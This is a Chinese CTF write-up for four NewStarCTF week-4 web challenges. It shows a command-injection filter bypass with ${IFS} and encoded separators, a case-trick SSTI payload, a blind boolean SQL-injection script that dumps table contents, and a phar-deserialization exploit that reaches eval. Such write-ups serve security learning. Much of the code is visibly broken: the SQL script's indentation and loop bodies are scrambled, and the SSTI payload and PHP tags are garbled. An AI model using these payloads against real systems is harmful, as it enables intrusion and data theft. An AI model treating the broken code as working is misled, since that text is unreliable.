NewStarCTF 公开赛赛道 WEEK4 WP

WEB

So Baby RCE

这道题还是差一点点拿三血,也算是一个小进步吧

题目给出了源码,是命令执行的

<? phperror_reporting(0);
if (isset($_GET["cmd"])) {
    if (preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i', $_GET["cmd"])) {
        echo "Don't Hack Me";
    } else {
        system($_GET["cmd"]);
    }
} else {
    show_source(__FILE__);
}

因为很多的关键字都被过滤了,所以我们要使用绕过,先使用ls查看

因为/被过滤了,那么我们怎么到达根目录呢?使用cd嘛,因为|被过滤了,所以我们使用&&进行拼接命令,又因为&在url中有特殊的意义,所以我们要使用url进行编码,这里空格就不用说了,使用${IFS}进行绕过,使用?cmd=cd${IFS}..%26%26ls

然后使用?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls到达根目录

因为cat被过滤了,但是我们这里可以了解一个东西,这也是这道题学到的新姿势吧:https://blog.csdn.net/weixin_39572764/article/details/112614915,我们可以使用ca$1t进行绕过,然后fl被过滤了,因为*被过滤了,所以我们使用?替代(记得要进行url编码),最后我们使用?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$1t${IFS}ffff%3Flllaaaaggggg得到flag

BabySSTI_Two

在这篇文章中看到了大小写绕过的方式https://blog.csdn.net/miuzzx/article/details/110220425

被过滤的字符:+、class、空格、”、class、mro、subclasses、init、globals、eval等

测试发现大小写绕过是可行的

1
使用?name={{'''__CLASS__'.lower()1()117['__GLOBALS__'.lower()]}}可以得到可以使用的函数

后面因为空格被过滤了,所以我们使用${IFS}进行绕过

最后使用tail${IFS}fla*得到flag

又一个SQL

是一道SQL注入,先fuzz,发现过滤了这些字符

length、#、空格、/**/、order、%23等

这边是直接使用1^SQL语句^1的方式进行注入的,脚本如下:

import requests
import time

host = "http://1fdf3c7e-fe93-49a7-a488-dc81880c7d66.node4.buuoj.cn:81/comments.php"

def getDatabase():
    # 获取数据库名    
    global host
    ans = ''
    for i in range(1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "100^(ascii(substr((select(database())),%d,1))<%d)^1" % (i, mid)
        data = {"name": payload}
        res = requests.post(host, data)
        if "f1ag" in res.text:
            high = mid
        else:
            low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("database is -> " + ans)
        
def getTable():
    # 获取表名    
    global host
    ans = ''
    for i in range(1, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "100^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='wfy')),%d,1))<%d)^1" % (
            i, mid)
        data = {"name": payload}
        res = requests.post(host, data)
        if "f1ag" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("table is -> " + ans)
        
def getColumn():
    # 获取列名    
    global host
    ans = ''
    for i in range(1, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "100^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),%d,1))<%d)^1" % (
            i, mid)
        data = {"name": payload}
        res = requests.post(host, data)
        if "f1ag" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("column is -> " + ans)
        
def dumpTable():
    # 脱裤    
    global host
    ans = ''
    for i in range(94, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "100^(ascii(substr((select(group_concat(text,user,name,display))from(wfy_comments)),%d,1))<%d)^1" % (
            i, mid)
        # print(payload)            
        data = {"name": payload}
        res = requests.post(host, data)
        if "f1ag" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            continue
        ans += chr(mid - 1)
        print("dumpTable is -> " + ans)
        
dumpTable()
# getDatabase()  
# getTable()
# getColumn()

最后的dump函数中的94是手测出来的,根据前面几题的经验,前面的数据应该是中文,所以直接跳过,然后如果小于等于32或大于等于127时不能直接退出,而要使用continue。

库名:wfy
表名:wfy_admin,wfy_comments,wfy_information
wfy_comments字段名:id,text,user,name,display

最后可以得到flag

UnserializeThree

打开发现是一个上传的框

在源码中发现class.php文件,访问发现了源码

<? phphighlight_file(__FILE__);
class Evil
{
    public $cmd;

    public function __destruct()
    {
        if (!preg_match("/>|<|\?|php|" . urldecode("%0a") . "/i", $this->cmd)) {
            //Same point ,can you bypass me again?
            eval("#" . $this->cmd);
        } else {
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

file_exists()函数、类、上传文件,我们是不是可以使用phar反序列化进行利用。先构造反序列化来生成一个phar文件,因为eval函数执行会加上一个#,绕过我们可以使用%0a,但是这里不行,\n也是不行的,这里使用的是\r进行绕过

<? php
class Evil
{
    public $cmd;
}
$evil = new Evil();
$evil->cmd = "\reval(\$_GET[8]);";
$phar = new Phar('poc.phar');
$phar->setMetadata($evil);
// 触发类是C1e4r类
$phar->addFromString("flag.txt", "test");
// 签名
$phar->stopBuffering();

生成文件之后进行上传,要将其改为图片的格式才能上传

然后使用phar协议读取这个文件,使用file=phar://upload/4935ad2c4be6114f4bf09d55ed82a60b.jpg&8=phpinfo();

然后直接读取源码了

这一周的解题都在这里了,比之前还是有一点点进步的。好好加油吧!